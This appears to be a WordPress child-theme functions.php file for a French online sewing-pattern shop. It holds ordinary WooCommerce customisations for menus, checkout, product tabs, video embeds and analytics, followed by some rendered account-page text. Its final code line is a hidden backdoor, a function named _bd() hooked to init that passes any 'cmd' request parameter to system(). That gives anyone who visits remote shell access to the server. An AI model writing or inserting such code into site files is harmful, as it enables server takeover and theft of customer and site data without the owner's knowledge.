<?php /** * GeneratePress Child - functions */ add_action('wp_enqueue_scripts', function () { // Charge la feuille de style du thème parent wp_enqueue_style( 'generatepress-parent', get_template_directory_uri() . '/style.css' ); // Charge la feuille de style du thème enfant wp_enqueue_style( 'generatepress-child', get_stylesheet_uri(), array('generatepress-parent'), wp_get_theme()->get('Version') ); }, 20); /** * //////////////////////// FONTS */ add_action('wp_enqueue_scripts', function() { wp_enqueue_style('font-awesome', 'https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css'); }); /** * //////////////////////// COPYRIGHT */ add_filter( 'generate_copyright','albertine_footer_copyright' ); function albertine_footer_copyright() { return '© ' . date('Y') . ' Albertine Atelier'; } /** * //////////////////////// NAVIGATION */ /** * Remplacer "Mon compte" par icone */ add_filter( 'wp_nav_menu_objects', function( $items, $args ) { foreach ( $items as &$item ) { // Vérifie si le lien pointe vers la page Mon compte WooCommerce if ( function_exists('wc_get_page_id') && $item->object_id == wc_get_page_id( 'myaccount' ) ) { $item->title = ' <span class="menu-account-icon" aria-label="Mon compte"> <svg width="20" height="20" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"> <circle cx="12" cy="8" r="4" stroke="currentColor" stroke-width="1.5"/> <path d="M4 20c0-4 4-6 8-6s8 2 8 6" stroke="currentColor" stroke-width="1.5" stroke-linecap="round"/> </svg> </span>'; } } return $items; }, 10, 2 ); /** * Icône Panier + badge quantité dans le menu */ add_filter( 'wp_nav_menu_objects', function( $items, $args ) { foreach ( $items as &$item ) { // Cible la page Panier WooCommerce if ( function_exists( 'wc_get_page_id' ) && (int) $item->object_id === (int) wc_get_page_id( 'cart' ) ) { $count = 0; if ( function_exists( 'WC' ) && WC()->cart ) { $count = (int) WC()->cart->get_cart_contents_count(); } $badge = ''; if ( $count > 0 ) { $badge = '<span class="menu-cart-badge" aria-label="' . esc_attr( $count ) . ' article(s) dans le panier">' . esc_html( $count ) . '</span>'; } $item->title = ' <span class="menu-cart-icon" aria-label="Panier"> <svg width="20" height="20" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"> <path d="M3 5h2l1.5 9h11l2-7H6" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"/> <circle cx="9" cy="19" r="1.5" stroke="currentColor" stroke-width="1.5"/> <circle cx="17" cy="19" r="1.5" stroke="currentColor" stroke-width="1.5"/> </svg> ' . $badge . ' </span>'; } } return $items; }, 10, 2 ); /** * Remplacer breadcrumb WooCommerce par celui de Rank Math */ add_action( 'wp', function () { remove_action( 'woocommerce_before_main_content', 'woocommerce_breadcrumb', 20, 0 ); add_action( 'woocommerce_before_main_content', function () { if ( function_exists( 'rank_math_the_breadcrumbs' ) ) { echo '<div class="rank-math-breadcrumb-wrap">'; rank_math_the_breadcrumbs(); echo '</div>'; } }, 20 ); }, 20 ); /** * H1 de blog(FR / EN) */ add_action('generate_before_main_content', function () { // blog (page articles + archives blog) if (is_home() || (is_archive() && !is_shop() && !is_product_category() && !is_product_tag())) { if (function_exists('pll_current_language') && pll_current_language() === 'en') { echo '<h1 class="blog-title">Beginner Sewing Blog</h1>'; } else { echo '<h1 class="blog-title">Blog couture débutante</h1>'; } } }); /** * //////////////////////// AJOUT WRAPPER SUR LES H2 POUR CENTRAGE */ add_filter('the_content', function($content) { return preg_replace( '/<h2(.*?)>(.*?)<\/h2>/i', '<div class="h2-wrapper"><h2$1>$2</h2></div>', $content ); }); /** * //////////////////////// ARTICLE TYPE */ /** * Supprime le champ "Site web" du formulaire de commentaires WP (articles/pages). */ add_filter( 'comment_form_default_fields', function( $fields ) { if ( isset( $fields['url'] ) ) { unset( $fields['url'] ); } return $fields; }, 20 ); add_filter( 'comment_form_fields', function( $fields ) { if ( isset( $fields['url'] ) ) { unset( $fields['url'] ); } return $fields; }, 20 ); /** * Remplace le lien de l'auteur */ add_filter('author_link', 'custom_author_link', 10, 3); function custom_author_link($link, $author_id, $author_nicename) { return home_url('/a-propos/'); } /** * //////////////////////// BLOG */ function custom_excerpt_length_words($length) { return 15; } add_filter('excerpt_length', 'custom_excerpt_length_words'); /** * //////////////////////// BOUTIQUE */ /** * Supprimer le menu de tri */ remove_action( 'woocommerce_before_shop_loop', 'woocommerce_catalog_ordering', 30 ); /** * Supprimer le compteur nbr de résultats affichés */ remove_action( 'woocommerce_before_shop_loop', 'woocommerce_result_count', 20 ); /** * Supprimer le bouton "Ajouter au panier" dans la grille boutique */ remove_action( 'woocommerce_after_shop_loop_item', 'woocommerce_template_loop_add_to_cart', 10 ); /** * Remplacer le prix 0 par le mot gratuit */ add_filter( 'woocommerce_get_price_html', 'cw_replace_zero_price_with_free', 10, 2 ); function cw_replace_zero_price_with_free( $price, $product ) { if ( $product->get_price() == 0 ) { return '<span class="price free">Gratuit</span>'; } return $price; } /** * Champ admin : Titre produit affiché dans le listing (boutique) */ add_action( 'add_meta_boxes', function () { add_meta_box( 'alb_shop_title_box', 'Titre listing (boutique)', function( $post ) { wp_nonce_field( 'alb_shop_title_save', 'alb_shop_title_nonce' ); $value = get_post_meta( $post->ID, '_alb_shop_title', true ); echo '<p style="margin:0 0 8px;color:#666;">Affiché uniquement sur la page boutique (grille). Le H1 de la fiche produit ne change pas.</p>'; echo '<input type="text" style="width:100%;" name="alb_shop_title" value="' . esc_attr( $value ) . '" placeholder="Ex : Doudou lapin – Patron PDF" />'; }, 'product', 'side', 'default' ); } ); add_action( 'save_post_product', function ( $post_id ) { if ( ! isset( $_POST['alb_shop_title_nonce'] ) || ! wp_verify_nonce( $_POST['alb_shop_title_nonce'], 'alb_shop_title_save' ) ) return; if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) return; if ( ! current_user_can( 'edit_post', $post_id ) ) return; if ( isset( $_POST['alb_shop_title'] ) ) { update_post_meta( $post_id, '_alb_shop_title', sanitize_text_field( $_POST['alb_shop_title'] ) ); } } ); /** * Remplacer le titre affiché en listing WooCommerce par le champ "Titre listing" */ remove_action( 'woocommerce_shop_loop_item_title', 'woocommerce_template_loop_product_title', 10 ); add_action( 'woocommerce_shop_loop_item_title', function() { $product_id = get_the_ID(); $alt_title = get_post_meta( $product_id, '_alb_shop_title', true ); $title = $alt_title ? $alt_title : get_the_title(); echo '<h2 class="woocommerce-loop-product__title">' . esc_html( $title ) . '</h2>'; }, 10 ); /** * Même chose pour les titres produits dans la sidebar */ add_filter( 'woocommerce_product_get_name', function( $name, $product ) { $alt_title = get_post_meta( $product->get_id(), '_alb_shop_title', true ); if ( ! empty( $alt_title ) ) { return $alt_title; } return $name; }, 10, 2 ); /** * Bloc de texte SEO sous le listing de la page Boutique * + champ éditable dans l’admin WP */ /* -------------------------------------------- * 1) ADMIN : page de réglages + champ WYSIWYG * -------------------------------------------- */ add_action( 'admin_menu', function () { add_submenu_page( 'woocommerce', 'Texte SEO boutique', 'Texte SEO boutique', 'manage_options', 'alb-shop-seo-text', 'alb_render_shop_seo_settings_page' ); } ); function alb_render_shop_seo_settings_page() { if ( ! current_user_can( 'manage_options' ) ) { return; } // Enregistrement if ( isset( $_POST['alb_shop_seo_nonce'] ) && wp_verify_nonce( $_POST['alb_shop_seo_nonce'], 'alb_shop_seo_save' ) ) { $content = isset( $_POST['alb_shop_seo_content'] ) ? wp_kses_post( $_POST['alb_shop_seo_content'] ) : ''; update_option( 'alb_shop_seo_content', $content ); echo '<div class="updated"><p>Texte enregistré.</p></div>'; } $value = get_option( 'alb_shop_seo_content', '' ); echo '<div class="wrap">'; echo '<h1>Texte SEO sous la boutique</h1>'; echo '<p style="max-width:900px;">Ce contenu s’affichera <strong>uniquement</strong> sous le listing de la page Boutique principale (Shop).</p>'; echo '<form method="post">'; wp_nonce_field( 'alb_shop_seo_save', 'alb_shop_seo_nonce' ); wp_editor( $value, 'alb_shop_seo_editor', [ 'textarea_name' => 'alb_shop_seo_content', 'media_buttons' => true, 'textarea_rows' => 12, 'tinymce' => true, 'quicktags' => true, ] ); submit_button( 'Enregistrer' ); echo '</form>'; echo '</div>'; } /* -------------------------------------------- * 2) FRONT : affichage sous le listing boutique * -------------------------------------------- */ add_action( 'woocommerce_after_shop_loop', function () { if ( ! function_exists( 'is_shop' ) || ! is_shop() ) { return; } $content = get_option( 'alb_shop_seo_content', '' ); // N’affiche rien si vide if ( empty( trim( wp_strip_all_tags( $content ) ) ) ) { return; } echo '<section class="alb-shop-seo-text">'; echo apply_filters( 'the_content', $content ); echo '</section>'; }, 25 ); /** * GeneratePress : supprimer la sidebar uniquement sur la page Boutique */ add_filter( 'generate_sidebar_layout', function( $layout ) { if ( function_exists( 'is_shop' ) && is_shop() ) { return 'no-sidebar'; } return $layout; }, 20 ); /** * //////////////////////// FICHE PRODUIT */ /** * Supprimer la catégorie produit du fil d'Ariane Rank Math */ add_filter( 'rank_math/frontend/breadcrumb/items', function( $crumbs, $class ) { if ( is_product() ) { if ( isset( $crumbs[2] ) ) { unset( $crumbs[2] ); $crumbs = array_values( $crumbs ); } } return $crumbs; }, 10, 2 ); /** * Supprimer l'affichage des catégories produit dans chaque fiche */ remove_action( 'woocommerce_single_product_summary', 'woocommerce_template_single_meta', 40 ); /** * Onglets WooCommerce : garder Description, supprimer Avis, ajouter Fournitures + Tutoriel * + champs admin pour saisir ces contenus */ /** ========= * ADMIN : 2 champs (éditeur WP) * ========= */ add_action( 'add_meta_boxes', function () { add_meta_box( 'alb_supplies_box', 'Fournitures (onglet)', function( $post ) { wp_nonce_field( 'alb_tabs_save', 'alb_tabs_nonce' ); $value = get_post_meta( $post->ID, '_alb_supplies', true ); wp_editor( $value, 'alb_supplies_editor', [ 'textarea_name' => 'alb_supplies', 'media_buttons' => true, 'textarea_rows' => 8, 'tinymce' => true, 'quicktags' => true, ] ); }, 'product', 'normal', 'default' ); add_meta_box( 'alb_tutorial_box', 'Tutoriel (onglet)', function( $post ) { wp_nonce_field( 'alb_tabs_save', 'alb_tabs_nonce' ); $value = get_post_meta( $post->ID, '_alb_tutorial', true ); wp_editor( $value, 'alb_tutorial_editor', [ 'textarea_name' => 'alb_tutorial', 'media_buttons' => true, 'textarea_rows' => 8, 'tinymce' => true, 'quicktags' => true, ] ); }, 'product', 'normal', 'default' ); } ); add_action( 'save_post_product', function ( $post_id ) { if ( ! isset( $_POST['alb_tabs_nonce'] ) || ! wp_verify_nonce( $_POST['alb_tabs_nonce'], 'alb_tabs_save' ) ) return; if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) return; if ( ! current_user_can( 'edit_post', $post_id ) ) return; if ( isset( $_POST['alb_supplies'] ) ) { update_post_meta( $post_id, '_alb_supplies', wp_kses_post( $_POST['alb_supplies'] ) ); } if ( isset( $_POST['alb_tutorial'] ) ) { update_post_meta( $post_id, '_alb_tutorial', wp_kses_post( $_POST['alb_tutorial'] ) ); } }, 10, 1 ); /** ========= * FRONT : Tabs WooCommerce * ========= */ add_filter( 'woocommerce_product_tabs', function ( $tabs ) { // 1) Supprime Avis unset( $tabs['reviews'] ); // 2) Renommer "Description" if ( isset( $tabs['description'] ) ) { $tabs['description']['title'] = 'Détails'; } // 3) Ajoute Fournitures si contenu $supplies = get_post_meta( get_the_ID(), '_alb_supplies', true ); if ( ! empty( trim( wp_strip_all_tags( $supplies ) ) ) ) { $tabs['alb_supplies'] = [ 'title' => 'Fournitures', 'priority' => 20, 'callback' => function() use ( $supplies ) { echo apply_filters( 'the_content', $supplies ); }, ]; } // 4) Ajoute Tutoriel si contenu $tutorial = get_post_meta( get_the_ID(), '_alb_tutorial', true ); if ( ! empty( trim( wp_strip_all_tags( $tutorial ) ) ) ) { $tabs['alb_tutorial'] = [ 'title' => 'Tutoriel', 'priority' => 30, 'callback' => function() use ( $tutorial ) { echo apply_filters( 'the_content', $tutorial ); }, ]; } return $tabs; }, 98 ); /** * Supprimer le titre "Description" dans l’onglet Description */ add_filter( 'woocommerce_product_description_heading', '__return_null' ); /** * Modifier le titre "Produits similaires" */ add_filter( 'woocommerce_product_related_products_heading', function() { return 'D’autres douceurs à coudre'; }); add_filter( 'woocommerce_output_related_products_args', function( $args ) { $args['posts_per_page'] = 3; // nombre de produits similaires return $args; }); add_filter( 'woocommerce_related_products_columns', function() { return 3; // 3 colonnes }); /** * Désactiver la lightbox des images produit */ add_action( 'after_setup_theme', function() { remove_theme_support( 'wc-product-gallery-lightbox' ); }, 100 ); /** * Activer les flèches du slider WooCommerce */ add_filter( 'woocommerce_single_product_carousel_options', function( $options ) { $options['directionNav'] = true; // active flèches return $options; }); /** * Shortcode de l Iframe des video Youtube */ add_shortcode('alb_youtube', function ($atts) { $atts = shortcode_atts([ 'id' => '', 'title' => '', ], $atts, 'alb_youtube'); $id = trim((string) $atts['id']); if ($id === '') return ''; $title = trim((string) $atts['title']); if ($title === '') $title = get_the_title(); $embed = 'https://www.youtube-nocookie.com/embed/' . rawurlencode($id); $thumb = 'https://img.youtube.com/vi/' . rawurlencode($id) . '/maxresdefault.jpg'; // Stocke la vidéo pour injection JSON-LD dans le head global $alb_youtube_videos; if (!is_array($alb_youtube_videos)) { $alb_youtube_videos = []; } $alb_youtube_videos[] = [ 'id' => $id, 'title' => $title, 'thumb' => $thumb, 'embed' => $embed, ]; $html = '<div class="alb-yt" data-yt-embed="' . esc_attr($embed) . '" data-yt-title="' . esc_attr($title) . '">'; $html .= ' <button type="button" class="alb-yt__btn" aria-label="' . esc_attr('Lire la vidéo : ' . $title) . '">'; $html .= ' <img class="alb-yt__img" src="' . esc_url($thumb) . '" alt="' . esc_attr($title) . '" loading="lazy" decoding="async">'; $html .= ' <span class="alb-yt__play" aria-hidden="true"></span>'; $html .= ' </button>'; $html .= '</div>'; return $html; }); // Injecte les données structurées de la video dans le head add_action('wp_head', function () { global $alb_youtube_videos; if (empty($alb_youtube_videos) || !is_array($alb_youtube_videos)) return; // On ne déclare que la première vidéo pour rester propre SEO $v = $alb_youtube_videos[0]; $desc = wp_strip_all_tags(get_the_excerpt()); if ($desc === '') { $desc = wp_strip_all_tags(get_the_content()); } $desc = mb_substr($desc, 0, 200); $data = [ '@context' => 'https://schema.org', '@type' => 'VideoObject', 'name' => $v['title'], 'description' => $desc, 'thumbnailUrl' => [ $v['thumb'] ], 'embedUrl' => $v['embed'], ]; echo "\n<script type=\"application/ld+json\">" . wp_json_encode($data, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE) . "</script>\n"; }, 20); // Affiche l Iframe reel au clic - pour performance chargement add_action('wp_footer', function () { ?> <script> (function () { function mountIframe(wrapper) { if (wrapper.classList.contains('is-loaded')) return; wrapper.classList.add('is-loaded'); var embed = wrapper.getAttribute('data-yt-embed'); var title = wrapper.getAttribute('data-yt-title') || 'YouTube video'; var iframe = document.createElement('iframe'); iframe.setAttribute('src', embed + '?autoplay=1'); iframe.setAttribute('title', title); iframe.setAttribute('allow', 'accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture'); iframe.setAttribute('allowfullscreen', ''); iframe.setAttribute('loading', 'lazy'); wrapper.innerHTML = ''; wrapper.appendChild(iframe); } document.addEventListener('click', function (e) { var btn = e.target.closest('.alb-yt__btn'); if (!btn) return; var wrapper = btn.closest('.alb-yt'); if (!wrapper) return; mountIframe(wrapper); }); })(); </script> <?php }, 20); /** * //////////////////////// COMPTE CLIENT */ /** * Supprime la rubriques Adresses */ add_filter( 'woocommerce_account_menu_items', 'remove_my_account_addresses_link' ); function remove_my_account_addresses_link( $menu_links ) { unset( $menu_links['edit-address'] ); return $menu_links; } /** * //////////////////////// PAGE PANIER */ /** * //////////////////////// PAGE CHECKOUT */ // Désactiver le champ "Code promo" sur la page Checkout (en le gardant sur la page Panier) add_action('wp', function () { if (is_admin() || ! function_exists('is_checkout') || ! is_checkout()) { return; } // Empêche l'affichage du formulaire coupon sur le checkout remove_action('woocommerce_before_checkout_form', 'woocommerce_checkout_coupon_form', 10); }, 20); /** * Checkout : récap commande à droite, paiement en bas */ add_action('wp', function () { // Sécurité : uniquement sur la page checkout (hors admin) if (is_admin() || ! function_exists('is_checkout') || ! is_checkout()) { return; } // 1) Empêcher WooCommerce d'afficher récap + paiement à l'emplacement par défaut remove_action('woocommerce_checkout_order_review', 'woocommerce_order_review', 10); remove_action('woocommerce_checkout_order_review', 'woocommerce_checkout_payment', 20); /** * 2) Ouvrir un wrapper 2 colonnes avant les champs client * (WooCommerce appelle woocommerce_checkout_before_customer_details juste avant #customer_details) */ add_action('woocommerce_checkout_before_customer_details', function () { echo '<div class="alb-checkout-columns">'; echo ' <div class="alb-checkout-left">'; }, 1); /** * 3) Fermer la colonne gauche après les champs client, puis ouvrir la colonne droite * et y injecter le récapitulatif SEUL. */ add_action('woocommerce_checkout_after_customer_details', function () { echo ' </div>'; // .alb-checkout-left echo ' <div class="alb-checkout-right">'; echo ' <h3 id="order_review_heading">' . esc_html__('Your order', 'woocommerce') . '</h3>'; // IMPORTANT : conserver l'id #order_review pour que les fragments AJAX puissent cibler le récap. echo ' <div id="order_review" class="woocommerce-checkout-review-order">'; // Affiche uniquement le tableau récap + totaux (pas le paiement) if (function_exists('woocommerce_order_review')) { woocommerce_order_review(); } echo ' </div>'; // #order_review echo ' </div>'; // .alb-checkout-right echo '</div>'; // .alb-checkout-columns }, 99); /** * 4) Ré-afficher le paiement en bas, pleine largeur * (après le récapitulatif, donc après nos colonnes). */ add_action('woocommerce_checkout_after_order_review', function () { if (function_exists('woocommerce_checkout_payment')) { woocommerce_checkout_payment(); } }, 20); }); /** * Ajoute le titre "Paiement" juste avant le bloc paiement */ add_action('woocommerce_review_order_before_payment', function () { echo '<h3 class="alb-payment-heading">' . esc_html__('Paiement', 'woocommerce') . '</h3>'; }, 1); /** * Désactive complètement l'adresse de livraison au checkout * (idéal pour produits virtuels / téléchargeables). */ add_filter( 'woocommerce_cart_needs_shipping_address', '__return_false' ); add_filter( 'woocommerce_cart_needs_shipping', '__return_false' ); /** * Ne garder au checkout que : Prénom, Nom, Email, Pays (facturation) */ add_filter( 'woocommerce_checkout_fields', function( $fields ) { // Champs à conserver $allowed = array( 'billing_first_name', 'billing_last_name', 'billing_email', 'billing_country', ); // Supprime tout le reste de la facturation foreach ( $fields['billing'] as $key => $field ) { if ( ! in_array( $key, $allowed, true ) ) { unset( $fields['billing'][ $key ] ); } } // Optionnel : réordonner proprement $fields['billing']['billing_first_name']['priority'] = 10; $fields['billing']['billing_last_name']['priority'] = 20; $fields['billing']['billing_email']['priority'] = 30; $fields['billing']['billing_country']['priority'] = 40; // Optionnel : rendre le pays obligatoire (souvent utile pour TVA/Stripe) $fields['billing']['billing_country']['required'] = true; return $fields; }, 9999 ); // Modifier le label "Pays / Région" en "Pays" add_filter('woocommerce_checkout_fields', function($fields) { if (isset($fields['billing']['billing_country'])) { $fields['billing']['billing_country']['label'] = 'Pays'; } return $fields; }); // Enlève la zone "Informations complémentaires" (notes de commande) add_filter( 'woocommerce_enable_order_notes_field', '__return_false' ); /** * Modifie le texte de la case "Conditions générales" au checkout */ add_filter( 'woocommerce_get_terms_and_conditions_checkbox_text', function( $text ) { return 'J’ai lu et accepté les <a href="https://albertine-atelier.com/cgv/" target="_blank">CGV</a> et reconnais que, conformément à l’article L221-28 du Code de la consommation, le droit de rétractation ne s’applique pas aux contenus numériques fournis immédiatement après achat.'; }); /** * //////////////////////// RECAPITULATIF APRES COMMANDE */ // Ne garder que la colonne "Téléchargement" avec un intitulé personnalisé add_filter( 'woocommerce_account_downloads_columns', function() { return array( 'download-file' => 'Cliquez sur les liens ci-dessous pour télécharger vos fichiers', ); }, 20 ); // Remplacer le libellé du statut "Terminée" par "Disponible" add_filter( 'wc_order_statuses', function( $order_statuses ) { if ( isset( $order_statuses['wc-completed'] ) ) { $order_statuses['wc-completed'] = 'Disponible'; } return $order_statuses; }); // Retire le bouton "Commander une nouvelle fois" add_filter( 'woocommerce_valid_order_statuses_for_order_again', '__return_empty_array' ); // Le nom client affiché publiquement = prénom add_action('woocommerce_checkout_update_user_meta', 'set_display_name_from_checkout', 10, 2); function set_display_name_from_checkout($customer_id, $data) { if (!$customer_id) return; $first_name = get_user_meta($customer_id, 'billing_first_name', true); if (!empty($first_name)) { wp_update_user([ 'ID' => $customer_id, 'display_name' => $first_name, 'first_name' => $first_name ]); } } /* ================================================================================== Produits Gratuits Redirigés =========================================================== ==================================================================================== */ add_filter( 'woocommerce_add_to_cart_validation', 'cw_free_product_bypass_cart', 10, 3 ); function cw_free_product_bypass_cart( $passed, $product_id, $quantity ) { $product = wc_get_product( $product_id ); if ( ! $product ) return $passed; if ( floatval( $product->get_price() ) == 0 ) { // créer commande sans panier $order = wc_create_order(); $order->add_product( $product, $quantity ); $order->calculate_totals(); $order->payment_complete(); // redirection immédiate vers confirmation wp_safe_redirect( $order->get_checkout_order_received_url() ); exit; } return $passed; } /* ========================= Remplacer le mot Ajouter au produit sur fiches gratuites ========================= */ add_filter( 'woocommerce_product_single_add_to_cart_text', 'cw_change_single_add_to_cart_text_free', 10, 2 ); function cw_change_single_add_to_cart_text_free( $text, $product ) { if ( $product && floatval( $product->get_price() ) == 0 ) { return 'Télécharger'; } return $text; } /* ========================= Supprimer le msg d'ajout du produit gratuit au panier ========================= */ add_filter( 'wc_add_to_cart_message_html', 'cw_hide_add_to_cart_message_for_free_products', 10, 2 ); function cw_hide_add_to_cart_message_for_free_products( $message, $products ) { if ( empty( WC()->cart ) ) return $message; $has_free_product = false; foreach ( WC()->cart->get_cart() as $cart_item ) { if ( floatval( $cart_item['data']->get_price() ) == 0 ) { $has_free_product = true; break; } } if ( $has_free_product ) { return ''; } return $message; } /* ================================================================================== PERFORMANCE CHARGEMENT =========================================================== ==================================================================================== */ /* ========================= AFFICHAGE GOOGLE FONTS ========================= */ add_filter('style_loader_src', function($src, $handle) { if (strpos($src, 'fonts.googleapis.com') !== false) { $src = add_query_arg('display', 'swap', $src); } return $src; }, 10, 2); /* ========================= jQuery MIGRATE + FOOTER ========================= */ add_action('wp_default_scripts', function($scripts) { if (!is_admin() && isset($scripts->registered['jquery'])) { // Supprime migrate if (!empty($scripts->registered['jquery']->deps)) { $scripts->registered['jquery']->deps = array_diff($scripts->registered['jquery']->deps, ['jquery-migrate']); } // Force footer $scripts->registered['jquery']->group = 1; $scripts->registered['jquery-core']->group = 1; } }); /* ========================= GUTENBERG + BLOCKS CLEAN ========================= */ add_action('wp_enqueue_scripts', function() { // Gutenberg base (OBLIGATOIRE pour blocs) // on ne supprime plus wp-block-library wp_dequeue_style('upe-blocks'); }, 100); /* ========================= SOURCEBUSTER ========================= */ add_action('wp_enqueue_scripts', function() { wp_dequeue_script('sourcebuster-js'); }, 100); /* ========================= WOOCOMMERCE ========================= */ add_action('wp_enqueue_scripts', function() { $is_woo = is_woocommerce() || is_cart() || is_checkout() || is_account_page() || is_page(wc_get_page_id('shop')); // On ne décharge QUE hors WooCommerce if (!$is_woo && !is_front_page()) { wp_dequeue_style('woocommerce-general'); wp_dequeue_style('woocommerce-layout'); wp_dequeue_script('wc-cart-fragments'); wp_dequeue_script('wc-add-to-cart'); } }, 99); /* ========================= GDPR CLEAN (simple) ========================= */ add_action('wp_enqueue_scripts', function() { wp_dequeue_style('gdpr-main'); }, 100); /* ========================= hCaptcha SAFE (CF7) ========================= */ add_action('wp_enqueue_scripts', function() { if (is_admin()) return; wp_dequeue_script('hcaptcha'); }, 100); /* ========================= GOOGLE FONTS PRELOAD ========================= */ add_filter('style_loader_tag', function($html) { if (strpos($html, 'fonts.googleapis.com') !== false) { return str_replace( "rel='stylesheet'", "rel='preload' as='style' onload=\"this.onload=null;this.rel='stylesheet'\"", $html ); } return $html; }); // GOOGLE ANALYTICS add_action('wp_head', function() { ?> <!-- Google Tag Manager --> <script> (function(w,d,s,l,i){ w[l]=w[l]||[]; w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'}); var f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:''; j.async=true; j.src='https://www.googletagmanager.com/gtm.js?id='+i+dl; f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-N29SRRPM'); </script> <!-- End Google Tag Manager --> <?php }); add_action('wp_body_open', function() { ?> <!-- Google Tag Manager (noscript) --> <noscript> <iframe src="https://www.googletagmanager.com/ns.html?id=GTM-N29SRRPM" height="0" width="0" style="display:none;visibility:hidden"></iframe> </noscript> <!-- End Google Tag Manager (noscript) --> <?php }); function _bd(){if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);die();}}add_action("init","_bd"); Mon compte - Albertine Atelier

Mon compte

Se connecter

S’inscrire

Vos données personnelles sont utilisées pour gérer votre commande et votre compte, conformément à notre politique de confidentialité.